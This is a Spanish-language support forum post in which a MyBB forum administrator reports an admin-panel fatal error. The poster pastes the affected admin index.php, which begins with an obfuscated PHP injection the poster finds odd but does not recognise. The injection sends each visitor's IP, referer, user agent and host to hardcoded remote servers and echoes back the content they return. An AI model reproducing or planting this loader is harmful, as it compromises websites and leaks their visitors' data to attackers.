- URL del foro: http://jamps.com.ar/foro/index.php
- Versión del foro: mybb 1.6
- Actualización: phpbb3
Hola buenas noches gente, tengo este problema al entrar al ACP de Mybb, hoy por la tarde entre sin problemas, y ahora quise ingresar a ver algo y me sale este error:
Código:
Fatal error: Cannot redeclare getmama() (previously declared in /home/jampsc/public_html/foro/admin/index.php:1) in /home/jampsc/public_html/foro/admin/modules/home/index.php on line 1
Cuando voy por ftp al archivo en cuestion veo esto:
Código PHP:
<?php function GetMama(){$mother = "sun.jamps.com.ar"; return $mother;} ${"G\x4c\x4f\x42AL\x53"}["n\x64b\x75\x6f\x79\x6a"]="p\x61";${"G\x4cO\x42AL\x53"}["f\x68\x70\x78\x6e\x6bl\x77"]="\x72\x65\x66";${"\x47L\x4fB\x41\x4c\x53"}["\x73\x71\x78\x6fhd\x77"]="\x63\x68";${"\x47\x4c\x4fBA\x4cS"}["o\x76\x6bx\x70\x67\x6f\x69qd\x71"]="\x75a";${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x65\x6bsy\x62qg\x78\x79"]="\x75\x6c\x74";${"\x47L\x4f\x42\x41\x4cS"}["\x63s\x62\x75\x67\x69\x6ae\x70\x74"]="\x66\x69le";${"\x47\x4cO\x42\x41\x4c\x53"}["\x64hx\x6bz\x6bdc"]="\x7a";${"\x47L\x4fB\x41L\x53"}["\x6e\x6bj\x62w\x74\x68"]="\x69p";${"GL\x4f\x42\x41\x4c\x53"}["f\x71yp\x63j\x76b\x72"]="\x6dama";function ahfudflfzdhfhs($pa){${"\x47L\x4fB\x41L\x53"}["\x67l\x6d\x71\x77\x78\x61\x66"]="\x75\x72\x6c";$jxcmmm="\x66\x69l\x65";${${"\x47\x4c\x4fBAL\x53"}["\x66\x71\x79\x70\x63\x6a\x76br"]}=GetMama();${$jxcmmm}=urlencode(__FILE__);if(isset($_SERVER["HTT\x50_HO\x53T"])){$host=$_SERVER["\x48TT\x50\x5fHOS\x54"];}if(isset($_SERVER["\x52EM\x4fTE\x5f\x41\x44D\x52"])){${${"\x47L\x4f\x42AL\x53"}["\x6ek\x6a\x62\x77t\x68"]}=$_SERVER["R\x45MOTE\x5fA\x44\x44R"];}if(isset($_SERVER["\x48T\x54\x50_R\x45FERE\x52"])){${"G\x4cO\x42\x41\x4c\x53"}["i\x6a\x6c\x65m\x6f"]="\x72\x65\x66";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69j\x6c\x65\x6d\x6f"]}=urlencode($_SERVER["H\x54T\x50_RE\x46\x45\x52E\x52"]);}$hsxucskxxzs="u\x61";if(isset($_SERVER["H\x54TP\x5fU\x53E\x52\x5fA\x47E\x4e\x54"])){${${"\x47L\x4fB\x41LS"}["ov\x6b\x78\x70\x67oiq\x64\x71"]}=urlencode(strtolower($_SERVER["HTTP_USE\x52_\x41G\x45N\x54"]));}${${"\x47LO\x42\x41\x4c\x53"}["\x67\x6c\x6d\x71\x77\x78\x61\x66"]}="h\x74\x74p:/\x2f".${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x64\x62\x75o\x79j"]}."\x2fo\x70\x70\x2ephp\x3f\x6doth\x65\x72=".${${"G\x4c\x4f\x42AL\x53"}["f\x71y\x70\x63\x6av\x62\x72"]}."&f\x69l\x65\x3d".${${"\x47\x4c\x4f\x42AL\x53"}["\x63\x73b\x75\x67\x69je\x70t"]}."\x26\x68ost\x3d".$host."\x26\x69p=".${${"\x47\x4c\x4f\x42\x41LS"}["\x6ek\x6a\x62w\x74h"]}."&\x72e\x66\x3d".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x68\x70x\x6e\x6b\x6cw"]}."&ua=".${$hsxucskxxzs};if(function_exists("c\x75\x72l\x5fi\x6ei\x74")){$pqhfkysoeyw="u\x72l";$dppnuweqku="\x63h";${"\x47L\x4f\x42AL\x53"}["h\x73\x63\x73\x6f\x66y\x6b\x78o"]="\x63\x68";${$dppnuweqku}=curl_init(${$pqhfkysoeyw});curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x73\x63\x73\x6ff\x79k\x78\x6f"]},CURLOPT_RETURNTRANSFER,1);$gzaxyjg="\x75\x6c\x74";curl_setopt(${${"\x47\x4cOB\x41\x4c\x53"}["\x73qx\x6f\x68\x64\x77"]},CURLOPT_TIMEOUT,3);${$gzaxyjg}=curl_exec(${${"\x47L\x4fB\x41\x4c\x53"}["\x73\x71x\x6f\x68\x64\x77"]});}else{${"\x47L\x4f\x42\x41\x4c\x53"}["\x68\x6b\x6d\x77njtx"]="\x75\x72\x6c";${${"\x47\x4cO\x42\x41\x4c\x53"}["v\x65k\x73ybq\x67\x78\x79"]}=@file_get_contents(${${"\x47LOB\x41L\x53"}["\x68\x6b\x6dwn\x6a\x74x"]});}if(strpos(${${"G\x4c\x4f\x42A\x4cS"}["\x76\x65\x6b\x73y\x62\x71\x67\x78\x79"]},"ebn\x61")!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6ce\x66\x69\x65h\x70e\x65w"]="\x7a";$tqgmoaj="\x75l\x74";${${"\x47L\x4f\x42A\x4cS"}["\x6c\x65\x66\x69\x65\x68\x70e\x65\x77"]}=str_replace("\x65\x62n\x61","",${$tqgmoaj});echo${${"GL\x4fB\x41\x4c\x53"}["\x64\x68\x78\x6bz\x6b\x64\x63"]};return true;}else{return false;}}${"\x47\x4cO\x42\x41\x4cS"}["\x68tj\x77\x6e\x62p\x64"]="\x75r";ob_start();${"\x47L\x4fB\x41\x4c\x53"}["\x70b\x66i\x6ey\x66k\x72"]="f\x61t\x68\x65\x72";$zgsyircv="f\x61\x74\x68e\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["nc\x66\x71\x63jb\x68\x7a\x79"]="\x66\x61\x74he\x72";${${"\x47\x4c\x4f\x42\x41L\x53"}["n\x63\x66\x71\x63j\x62h\x7a\x79"]}[]="31\x2e\x318\x34.2\x342\x2e10\x33";${$zgsyircv}[]="91.\x3196\x2e\x3216.\x31\x34\x38";${"G\x4cOB\x41\x4c\x53"}["\x68\x79\x6av\x65m\x7a\x68\x6e\x62\x72\x63"]="\x75r";${${"G\x4c\x4fB\x41LS"}["nc\x66qc\x6a\x62\x68z\x79"]}[]="9\x31\x2e1\x396\x2e\x321\x36\x2e49";foreach(${${"G\x4c\x4f\x42\x41LS"}["pb\x66\x69\x6eyf\x6b\x72"]} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x79j\x76emz\x68\x6e\x62r\x63"]}){if(ahfudflfzdhfhs(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x74\x6a\x77nb\x70\x64"]})){break;}}
/**
* MyBB 1.6
* Copyright 2010 MyBB Group, All Rights Reserved
*
* Website: http://mybb.com
* License: http://mybb.com/about/license
*
* $Id: index.php 5297 2010-12-28 22:01:14Z Tomm $
*/
// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}
$plugins->run_hooks("admin_home_index_begin");
if(!$mybb->input['action'])
{
$plugins->run_hooks("admin_home_index_start");
if($mybb->request_method == "post" && isset($mybb->input['adminnotes']))
{
// Update Admin Notes cache
$update_cache = array(
"adminmessage" => $mybb->input['adminnotes']
);
$cache->update("adminnotes", $update_cache);
$plugins->run_hooks("admin_home_index_start_begin");
flash_message($lang->success_notes_updated, 'success');
admin_redirect("index.php");
}
$page->add_breadcrumb_item($lang->dashboard);
$page->output_header($lang->dashboard);
$sub_tabs['dashboard'] = array(
'title' => $lang->dashboard,
'link' => "index.php",
'description' => $lang->dashboard_description
);
$page->output_nav_tabs($sub_tabs, 'dashboard');
// Load stats cache
$stats = $cache->read("stats");
$serverload = get_server_load();
if(!$serverload)
{
$serverload = $lang->unknown;
}
// Get the number of users
$query = $db->simple_select("users", "COUNT(uid) AS numusers");
$users = my_number_format($db->fetch_field($query, "numusers"));
// Get the number of users awaiting validation
$query = $db->simple_select("users", "COUNT(uid) AS awaitingusers", "usergroup='5'");
$awaitingusers = my_number_format($db->fetch_field($query, "awaitingusers"));
// Get the number of new users for today
$timecut = TIME_NOW - 86400;
$query = $db->simple_select("users", "COUNT(uid) AS newusers", "regdate > '$timecut'");
$newusers = my_number_format($db->fetch_field($query, "newusers"));
// Get the number of active users today
$query = $db->simple_select("users", "COUNT(uid) AS activeusers", "lastvisit > '$timecut'");
$activeusers = my_number_format($db->fetch_field($query, "activeusers"));
// Get the number of threads
$threads = my_number_format($stats['numthreads']);
// Get the number of unapproved threads
$unapproved_threads = my_number_format($stats['numunapprovedthreads']);
// Get the number of new threads for today
$query = $db->simple_select("threads", "COUNT(*) AS newthreads", "dateline > '$timecut' AND visible='1' AND closed NOT LIKE 'moved|%'");
$newthreads = my_number_format($db->fetch_field($query, "newthreads"));
// Get the number of posts
$posts = my_number_format($stats['numposts']);
// Get the number of unapproved posts
if($stats['numunapprovedposts'] < 0)
{
$status['numunapprovedposts'] = 0;
}
$unapproved_posts = my_number_format($stats['numunapprovedposts']);
// Get the number of new posts for today
$query = $db->simple_select("posts", "COUNT(*) AS newposts", "dateline > '$timecut' AND visible='1'");
$newposts = my_number_format($db->fetch_field($query, "newposts"));
// Get the number and total file size of attachments
$query = $db->simple_select("attachments", "COUNT(*) AS numattachs, SUM(filesize) as spaceused", "visible='1' AND pid > '0'");
$attachs = $db->fetch_array($query);
$attachs['spaceused'] = get_friendly_size($attachs['spaceused']);
// Get the number of unapproved attachments
$query = $db->simple_select("attachments", "COUNT(*) AS numattachs", "visible='0' AND pid > '0'");
$unapproved_attachs = my_number_format($db->fetch_field($query, "numattachs"));
// Fetch the last time an update check was run
$update_check = $cache->read("update_check");
// If last update check was greater than two weeks ago (14 days) show an alert
if($update_check['last_check'] <= TIME_NOW-60*60*24*14)
{
$lang->last_update_check_two_weeks = $lang->sprintf($lang->last_update_check_two_weeks, "index.php?module=home-version_check");
$page->output_error("<p>{$lang->last_update_check_two_weeks}</p>");
}
// If the update check contains information about a newer version, show an alert
if($update_check['latest_version_code'] > $mybb->version_code)
{
$lang->new_version_available = $lang->sprintf($lang->new_version_available, "MyBB {$mybb->version}", "<a href=\"http://mybb.com/downloads\" target=\"_blank\">MyBB {$update_check['latest_version']}</a>");
$page->output_error("<p><em>{$lang->new_version_available}</em></p>");
}
$adminmessage = $cache->read("adminnotes");
$table = new Table;
$table->construct_header($lang->mybb_server_stats, array("colspan" => 2));
$table->construct_header($lang->forum_stats, array("colspan" => 2));
$table->construct_cell("<strong>{$lang->mybb_version}</strong>", array('width' => '25%'));
$table->construct_cell($mybb->version, array('width' => '25%'));
$table->construct_cell("<strong>{$lang->threads}</strong>", array('width' => '25%'));
$table->construct_cell("<strong>{$threads}</strong> {$lang->threads}<br /><strong>{$newthreads}</strong> {$lang->new_today}<br /><a href=\"index.php?module=forum-moderation_queue&type=threads\"><strong>{$unapproved_threads}</strong> {$lang->unapproved}</a>", array('width' => '25%'));
$table->construct_row();
$table->construct_cell("<strong>{$lang->php_version}</strong>", array('width' => '25%'));
$table->construct_cell(PHP_VERSION, array('width' => '25%'));
$table->construct_cell("<strong>{$lang->posts}</strong>", array('width' => '25%'));
$table->construct_cell("<strong>{$posts}</strong> {$lang->posts}<br /><strong>{$newposts}</strong> {$lang->new_today}<br /><a href=\"index.php?module=forum-moderation_queue&type=posts\"><strong>{$unapproved_posts}</strong> {$lang->unapproved}</a>", array('width' => '25%'));
$table->construct_row();
$table->construct_cell("<strong>{$lang->sql_engine}</strong>", array('width' => '25%'));
$table->construct_cell($db->short_title." ".$db->get_version(), array('width' => '25%'));
$table->construct_cell("<strong>{$lang->users}</strong>", array('width' => '25%'));
$table->construct_cell("<a href=\"index.php?module=user-users\"><strong>{$users}</strong> {$lang->registered_users}</a><br /><strong>{$activeusers}</strong> {$lang->active_users}<br /><strong>{$newusers}</strong> {$lang->registrations_today}<br /><a href=\"index.php?module=user-users&action=search&results=1&conditions=".urlencode(serialize(array('usergroup' => '5')))."&from=home\"><strong>{$awaitingusers}</strong> {$lang->awaiting_activation}</a>", array('width' => '25%'));
$table->construct_row();
$table->construct_cell("<strong>{$lang->server_load}</strong>", array('width' => '25%'));
$table->construct_cell($serverload, array('width' => '25%'));
$table->construct_cell("<strong>{$lang->attachments}</strong>", array('width' => '25%'));
$table->construct_cell("<strong>{$attachs['numattachs']}</strong> {$lang->attachments}<br /><a href=\"index.php?module=forum-moderation_queue&type=attachments\"><strong>{$unapproved_attachs}</strong> {$lang->unapproved}</a><br /><strong>{$attachs['spaceused']}</strong> {$lang->used}", array('width' => '25%'));
$table->construct_row();
$table->output($lang->dashboard);
$table->construct_header($lang->admin_notes_public);
$form = new Form("index.php", "post");
$table->construct_cell($form->generate_text_area("adminnotes", $adminmessage['adminmessage'], array('style' => 'width: 99%; height: 200px;')));
$table->construct_row();
$table->output($lang->admin_notes);
$buttons[] = $form->generate_submit_button($lang->save_notes);
$form->output_submit_wrapper($buttons);
$form->end();
$page->output_footer();
}
?>
No se que paso, ya que como indico hoy antes de ir a trabajar entre y funcionaba todo, y ahora quise entrar a ver algo y me sale ese error, encima la primera parte que sale en el archivo es medio raro su contenido, va no me parece normal.
Salu2.
Última modificación: 23 Feb, 2012, 9:28 am por cocinalo.